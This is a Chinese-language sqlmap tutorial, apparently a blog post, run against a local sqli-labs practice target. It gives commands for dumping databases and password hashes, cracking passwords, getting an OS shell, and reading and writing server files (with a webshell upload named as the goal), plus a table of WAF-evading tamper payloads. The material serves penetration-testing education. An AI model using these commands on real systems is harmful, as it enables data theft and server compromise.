目录
Sqlmap
sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等
Sqlmap采用了以下5种独特的SQL注入技术
- 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
- 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
- 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
- 联合查询注入,在可以使用Union的情况下注入
- 堆查询注入,可以同时执行多条语句时的注入
Sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。
sqlmap是一个跨平台的工具,很好用,是SQL注入方面一个强大的工具!
我们可以使用 -h 参数查看sqlmap的参数以及用法,sqlmap -h
Sqlmap的简单用法
-
sqlmap -r http.txt
#http.txt是我们抓取的http的请求包
-
sqlmap -r http.txt -p username
#指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
-
sqlmap -u
"http://192.168.10.1/sqli/Less-1/?id=1"
#探测该url是否存在漏洞
-
sqlmap -u
"http://192.168.10.1/sqli/Less-1/?id=1" --cookie=
"抓取的cookie"
#当该网站需要登录时,探测该url是否存在漏洞
-
sqlmap -u
"http://192.168.10.1/sqli/Less-1/?id=1" --data=
"uname=admin&passwd=admin&submit=Submit"
#抓取其post提交的数据填入
-
sqlmap -u
"http://192.168.10.1/sqli/Less-1/?id=1" --users
#查看数据库的所有用户
-
sqlmap -u
"http://192.168.10.1/sqli/Less-1/?id=1" --passwords
#查看数据库用户名的密码
-
sqlmap -u
"http://192.168.10.1/sqli/Less-1/?id=1" --current-user
#查看数据库当前的用户
-
sqlmap -u
"http://192.168.10.1/sqli/Less-1/?id=1" --is-dba
#判断当前用户是否有管理员权限
-
sqlmap -u
"http://192.168.10.1/sqli/Less-1/?id=1" --roles
#列出数据库所有管理员角色
-
-
sqlmap -u
"http://192.168.10.1/sqli/Less-1/?id=1" --dbs
#爆出所有的数据库
-
sqlmap -u
"http://192.168.10.1/sqli/Less-1/?id=1" --tables
#爆出所有的数据表
-
sqlmap -u
"http://192.168.10.1/sqli/Less-1/?id=1" --columns
#爆出数据库中所有的列
-
sqlmap -u
"http://192.168.10.1/sqli/Less-1/?id=1" --current-db
#查看当前的数据库
-
sqlmap -u
"http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables
#爆出数据库security中的所有的表
-
sqlmap -u
"http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns
#爆出security数据库中users表中的所有的列
-
sqlmap -u
"http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --
dump
#爆出数据库security中的users表中的username列中的所有数据
-
-
sqlmap -u
"http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --
dump-all
#爆出数据库security中的users表中的所有数据
-
sqlmap -u
"http://192.168.10.1/sqli/Less-1/?id=1" -D security --
dump-all
#爆出数据库security中的所有数据
-
sqlmap -u
"http://192.168.10.1/sqli/Less-1/?id=1" --
dump-all
#爆出该数据库中的所有数据
-
-
sqlmap -u
"http://192.168.10.1/sqli/Less-1/?id=1" --tamper=space2comment.py
#指定脚本进行过滤,用/**/代替空格
-
sqlmap -u
"http://192.168.10.1/sqli/Less-4/?id=1" --level=
5 --risk=
3
#探测等级5,平台危险等级3,都是最高级别
-
sqlmap -u
"http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell
#执行指定的sql语句
-
sqlmap -u
"http://192.168.10.1/sqli/Less-4/?id=1" --os-shell
#执行--os-shell命令
-
sqlmap -u
"http://192.168.10.1/sqli/Less-4/?id=1" --file-
read
"c:/test.txt"
#读取目标服务器C盘下的test.txt文件
-
sqlmap -u
"http://192.168.10.1/sqli/Less-4/?id=1" --file-
write test.txt --file-dest
"e:/hack.txt"
#将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt
-
sqlmap -u
"http://192.168.10.1/sqli/Less-4/?id=1" --dbms=
"MySQL"
#指定其数据库为mysql Firebird, HSQLDB, IBM DB2, Informix, Microsoft Access, Microsoft SQL Server, MySQL, Oracle, PostgreSQL, SAP MaxDB, SQLite, Sybase
-
sqlmap -u
"http://192.168.10.1/sqli/Less-4/?id=1" --random-agent
#使用任意的User-Agent爆破
-
sqlmap -u
"http://192.168.10.1/sqli/Less-4/?id=1" --proxy=
"127.0.0.1:8080"
#指定代理
-
sqlmap -u
"http://192.168.10.1/sqli/Less-4/?id=1" --technique T
#指定时间延迟注入
-
-
-v3 输出详细度 最大值
5 会显示请求包和回复包
-
--threads
5 指定线程数
-
--fresh-queries 清除缓存
-
--flush-session 刷新session
-
--batch 对所有的交互式的都是默认的
-
--random-agent 任意的http头
-
--tamper base64encode 对提交的数据进行base64编码
-
-
--keep-alive 保持连接,当出现 [CRITICAL] connection dropped
or unknown HTTP status code received. sqlmap is going to retry the request(
s) 保错的时候,使用这个参数
-
--technique=BE 这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。
-
支持的探测方式如下:
-
B: Boolean-based blind SQL injection(布尔型注入)
-
E: Error-based SQL injection(报错型注入)
-
U: UNION query SQL injection(可联合查询注入)
-
S: Stacked queries SQL injection(可多语句查询注入)
-
T: Time-based blind SQL injection(基于时间延迟注入)
探测指定URL是否存在WAF,并且绕过
-
--identify-waf 检测是否有WAF(首选)
-
--check-waf 检测是否有WAF(备选)
-
-
#使用参数进行绕过
-
--random-agent 使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候
-
--time-sec=3 使用长的延时来避免触发WAF的机制,这方式比较耗时
-
--hpp 使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
-
--proxy=100.100.100.100:8080 --proxy-cred=211:985 使用代理进行绕过
-
--ignore-proxy 禁止使用系统的代理,直接连接进行注入
-
--flush-session 清空会话,重构注入
-
--hex 或者 --no-cast 进行字符码转换
-
--mobile 对移动端的服务器进行注入
-
--tor 匿名注入
探测指定URL是否存在SQL注入漏洞
对于不用登录的网站,直接指定其URL
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" #探测该url是否存在漏洞
在探测目标URL是否存在漏洞的过程中,Sqlmap会和我们进行交互。
比如第一处交互的地方是说这个目标系统的数据库好像是Mysql数据库,是否还探测其他类型的数据库。我们选择 n,就不探测其他类型的数据库了,因为我们已经知道目标系统是Mysql数据库了。
第二处交互的地方是说 对于剩下的测试,问我们是否想要使用扩展提供的级别(1)和风险(1)值的“MySQL”的所有测试吗? 我们选择 y。
第三处交互是说已经探测到参数id存在漏洞了,是否还探测其他地方,我们选择 n 不探测其他参数了 。
最后sqlmap就列出了参数id存在的注入类型是boolean盲注,还有payload其他信息也显示出来了,最后还列出了目标系统的版本,php,apache等信息。
这次探测的所有数据都被保存在了 /root/.sqlmap/output/192.168.10.1/ 目录下
对于需要登录的网站,我们需要指定其cookie 。我们可以用账号密码登录,然后用抓包工具抓取其cookie填入
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --cookie="抓取的cookie" #探测该url是否存在漏洞
对于是post提交数据的URL,我们需要指定其data参数
sqlmap -u "http://192.168.10.1/sqli/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit" #抓取其post提交的数据填入
我们也可以通过抓取 http 数据包保存为文件,然后指定该文件即可。这样,我们就可以不用指定其他参数,这对于需要登录的网站或者post提交数据的网站很方便。
我们抓取了一个post提交数据的数据包保存为post.txt,如下,uname参数和passwd参数存在SQL注入漏洞
-
POST /sqli/Less-
11/ HTTP/
1.1
-
Host:
192.168.
10.1
-
User-Agent: Mozilla/
5.0 (Windows NT
10.0; WOW64; rv:
55.0) Gecko/
20100101 Firefox/
55.0
-
Accept: text/html,application/xhtml+xml,application/xml;
q=
0.
9,*
/*;q=0.8
-
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
-
Content-Type: application/x-www-form-urlencoded
-
Content-Length:
38
-
Referer: http:
//
192.168.
10.1/sqli/Less-
11/
-
Connection:
close
-
Upgrade-Insecure-Requests:
1
-
-
uname=admin&passwd=admin&submit=Submit
然后我们可以指定这个数据包进行探测
sqlmap -r post.txt #探测post.txt文件中的http数据包是否存在sql注入漏洞
他也会和我们进行交互,询问我们,这里就不一一解释了
可以看到,已经探测到 uname 参数存在漏洞了,问我们是否还想探测其他参数,我们选择的 y ,它检测到passwd也存在漏洞了,问我们是否还想探测其他参数,我们选择 n
然后会让我们选择,在后续的测试中,是选择 uname 这个参数还是passwd这个参数作为漏洞,随便选择一个就好了。
查看数据库的所有用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users #查看数据库的所有用户
查看数据库所有用户名的密码
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords #查看数据库用户名的密码
第一处询问我们是否保存密码的hash值为文件,我们不保存。第二处问我们是否使用sqlmap自带的字典进行爆破,我们选择y,可以看出把密码爆破出来了,root用户的密码也为root。如果这里爆破不出来,我们可以拿hash值去字典更强大的地方爆破
查看数据库当前用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user #查看数据库当前的用户
判断当前用户是否有管理权限
查看当前账户是否为数据库管理员账户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba #判断当前用户是否有管理员权限
列出数据库管理员角色
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles #列出数据库所有管理员角色
查看所有的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dbs
查看当前的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-db #查看当前的数据库
爆出指定数据库中的所有的表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表
爆出指定数据库指定表中的所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns
爆出指定数据库指定表指定列下的数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump #爆出数据库security中的users表中的username列中的所有数据
爆出该网站数据库中的所有数据
-
sqlmap -u
"http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --
dump-all
#爆出数据库security中的users表中的所有数据
-
sqlmap -u
"http://192.168.10.1/sqli/Less-1/?id=1" -D security --
dump-all
#爆出数据库security中的所有数据
-
sqlmap -u
"http://192.168.10.1/sqli/Less-1/?id=1" --
dump-all
#爆出该数据库中的所有数据
Sqlmap的高级用法
指定脚本进行过滤
有些时候网站会过滤掉各种字符,可以用tamper来解决(对付某些waf时也有成效)
-
sqlmap --tamper=space2comment.py
#用/**/代替空格
-
sqlmap --tamper=
"space2comment.py,space2plus.py" 指定多个脚本进行过滤
过滤脚本在目录:/usr/share/sqlmap/tamper
支持的数据库 | 编号 | 脚本名称 | 作用 | 实现方式 | 测试通过的数据库类型和版本 |
ALL | 1 | apostrophemask.py | 用utf8代替引号 | ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' | |
2 | base64encode.py | 用base64编码替换 | ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' | ||
3 | multiplespaces.py | 围绕SQL关键字添加多个空格 | ('1 UNION SELECT foobar') '1 UNION SELECT foobar' | ||
4 | space2plus.py | 用+替换空格 | ('SELECT id FROM users') 'SELECT+id+FROM+users' | ||
5 | nonrecursivereplacement.py | 双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、”")) filters | ('1 UNION SELECT 2--') '1 UNIOUNIONN SELESELECTCT 2--' | ||
6 | space2randomblank.py | 代替空格字符(“”)从一个随机的空 白字符可选字符的有效集 | ('SELECT id FROM users') 'SELECT%0Did%0DFROM%0Ausers' | ||
7 | unionalltounion.py | 替换UNION ALL SELECT UNION SELECT | ('-1 UNION ALL SELECT') '-1 UNION SELECT' | ||
8 | securesphere.py | 追加特制的字符串 | ('1 AND 1=1') "1 AND 1=1 and '0having'='0having'" | ||
MSSQL | 1 | space2hash.py | 绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’) | '1 AND 9227=9227' '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227' | |
2 | equaltolike.py | like 代替等号 | * Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1 | ||
3 | space2mssqlblank.py(mssql) | 空格替换为其它空符号 | Input: SELECT id FROM users Output: SELECT%08id%02FROM%0Fusers | * Microsoft SQL Server 2000 * Microsoft SQL Server 2005 | |
4 | space2mssqlhash.py | 替换空格 | ('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' | ||
5 | between.py | 用between替换大于号(>) | ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' | ||
6 | percentage.py | asp允许每个字符前面添加一个%号 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E | ||
7 | sp_password.py | 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾 | ('1 AND 9227=9227-- ') '1 AND 9227=9227-- sp_password' | ||
8 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | ||
9 | randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | ||
10 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | ||
11 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users | ||
MYSQL | 1 | equaltolike.py | like 代替等号 | * Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1 | Microsoft SQL Server 2005 MySQL 4, 5.0 and 5.5 |
2 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' | * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 | |
3 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' | * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 | |
4 | ifnull2ifisnull.py | 绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’ | ('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)' | * MySQL 5.0 and 5.5 | |
5 | space2mssqlhash.py | 替换空格 | ('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' | ||
6 | modsecurityversioned.py | 过滤空格,包含完整的查询版本注释 | ('1 AND 2>1--') '1 /*!30874AND 2>1*/--' | * MySQL 5.0 | |
7 | space2mysqlblank.py | 空格替换其它空白符号(mysql) | Input: SELECT id FROM users Output: SELECT%0Bid%0BFROM%A0users | * MySQL 5.1 | |
8 | between.py | 用between替换大于号(>) | ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' | * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 | |
9 | modsecurityzeroversioned.py | 包含了完整的查询与零版本注释 | ('1 AND 2>1--') '1 /*!00000AND 2>1*/--' | * MySQL 5.0 | |
10 | space2mysqldash.py | 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) | ('1 AND 9227=9227') '1--%0AAND--%0A9227=9227' | ||
11 | bluecoat.py | 代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like | ('SELECT id FROM users where id = 1') 'SELECT%09id FROM users where id LIKE 1' | * MySQL 5.1, SGOS | |
12 | percentage.py | asp允许每个字符前面添加一个%号 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E | * Microsoft SQL Server 2000, 2005 * MySQL 5.1.56, 5.5.11 * PostgreSQL 9.0 | |
13 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 | |
14 | randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 | |
15 | versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment | * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))# * Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))# | ||
16 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users | * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 | |
17 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | * Microsoft SQL Server 2000 * Microsoft SQL Server 2005 * MySQL 5.1.56 * PostgreSQL 9.0.3 | |
18 | versionedmorekeywords.py | 注释绕过 | * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# * Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))# | ||
* MySQL < 5.1 | 19 | halfversionedmorekeywords.py | 关键字前加注释 | * Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa * Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa | * MySQL 4.0.18, 5.0.22 |
20 | halfversionedmorekeywords.py | 当数据库为mysql时绕过防火墙,每个关键字之前添加 mysql版本评论 | 1.("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") 2."value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa" | * MySQL 4.0.18, 5.0.22 | |
MySQL >= 5.1.13 | 21 | space2morehash.py | 空格替换为 #号 以及更多随机字符串 换行符 | * Input: 1 AND 9227=9227 * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227 | MySQL 5.1.41 |
Oracle | 1 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' | * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 |
2 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' | * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 | |
3 | between.py | 用between替换大于号(>) | ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' | * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 | |
4 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 | |
5 | randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 | |
6 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | * Microsoft SQL Server 2000 * Microsoft SQL Server 2005 * MySQL 5.1.56 * PostgreSQL 9.0.3 | |
7 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users | * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 | |
PostgreSQL | 1 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' | * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 |
2 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' | * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 | |
3 | between.py | 用between替换大于号(>) | ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' | * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 | |
4 | percentage.py | asp允许每个字符前面添加一个%号 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E | * Microsoft SQL Server 2000, 2005 * MySQL 5.1.56, 5.5.11 * PostgreSQL 9.0 | |
5 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 | |
6 | randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 | |
7 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | * Microsoft SQL Server 2000 * Microsoft SQL Server 2005 * MySQL 5.1.56 * PostgreSQL 9.0.3 | |
8 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users | * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 | |
Microsoft Access | 1 | appendnullbyte.py | 在有效负荷结束位置加载零字节字符编码 | ('1 AND 1=1') '1 AND 1=1%00' | |
其他 | chardoubleencode.py | 双url编码(不处理以编码的) | * Input: SELECT FIELD FROM%20TABLE * Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545 | ||
unmagicquotes.py | 宽字符绕过 GPC addslashes | * Input: 1′ AND 1=1 * Output: 1%bf%27 AND 1=1–%20 | |||
randomcomments.py | 用/**/分割sql关键字 | ‘INSERT’ becomes ‘IN//S//ERT’ |
探测等级和危险等级
Sqlmap一共有5个探测等级,默认是1。等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动破解出cookie、XFF等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置level为5
sqlmap一共有3个危险等级,也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思,在不确定的情况下,建议设置为3级,--risk=3
sqlmap使用的payload在目录:/usr/share/sqlmap/xml/payloads
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别
伪造 Http Referer头部
Sqlmap可以在请求中伪造HTTP中的referer,当探测等级为3或者3以上时,会尝试对referer注入,可以使用referer命令来欺骗,比如,我们伪造referer头为百度。可以这样
referer http://www.baidu.com
执行指定的SQL语句
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell #执行指定的sql语句
然后会提示我们输入要查询的SQL语句,注意这里的SQL语句最后不要有分号
执行操作系统命令
在数据库为Mysql、PostgreSql或者SQL Server时,当满足下面三个条件,我们就可以执行操作系统命令
- 网站必须是root权限
- 攻击者需要知道网站的绝对路径
- GPC为off,php主动转义的功能关闭
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell #执行--os-shell命令
如果我们不知道网站的根目录的绝对路径的话,我们那里选择4 brute force search 暴力破解,尝试破解出根目录的绝对路径!
从数据库中读取文件
当数据库为Mysql、PostgreSQL或SQL Server,并且当前用户有权限时,可以读取指定文件,可以是文本文件或者二进制文件。
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件
可以看到,文件读取成功了,并且保存成了 /root/.sqlmap/output/192.168.10.1/files/c__test.txt 文件
上传文件到数据库服务器中
当数据库为Mysql、Postgre SQL或者Sql Server,并且当前用户有权限使用特定的函数时,可以上传文件到数据库服务器。文件可以是文本,也可以是二进制文件。
所以利用上传文件,我们可以上传一句话木马或者上传shell上去。
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write test.txt --file-dest "e:/hack.txt" #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt
这里会问我们是否想验证上传成功,我们选择 y 的话,他就会读取该文件的大小,并且和本地的文件大小做比较,只要大于等于本地文件大小即说明上传功能了
Sqlmap的更多用法
除了上面这些用法外,Sqlmap还支持其他的用法,比如定义代理,探测的时候任意的User-Agent头部啊,当我们知道目标数据库类型的时候,直接指定其数据库类型,这样就不会测试其他类型的数据库了
-
sqlmap -u
"http://192.168.10.1/sqli/Less-4/?id=1" --dbms=mysql
#指定其数据库为mysql
-
sqlmap -u
"http://192.168.10.1/sqli/Less-4/?id=1" --random-agent
#使用任意的User-Agent爆破
-
sqlmap -u
"http://192.168.10.1/sqli/Less-4/?id=1" --proxy=PROXY
#使用代理进行爆破
-
-p username
#指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测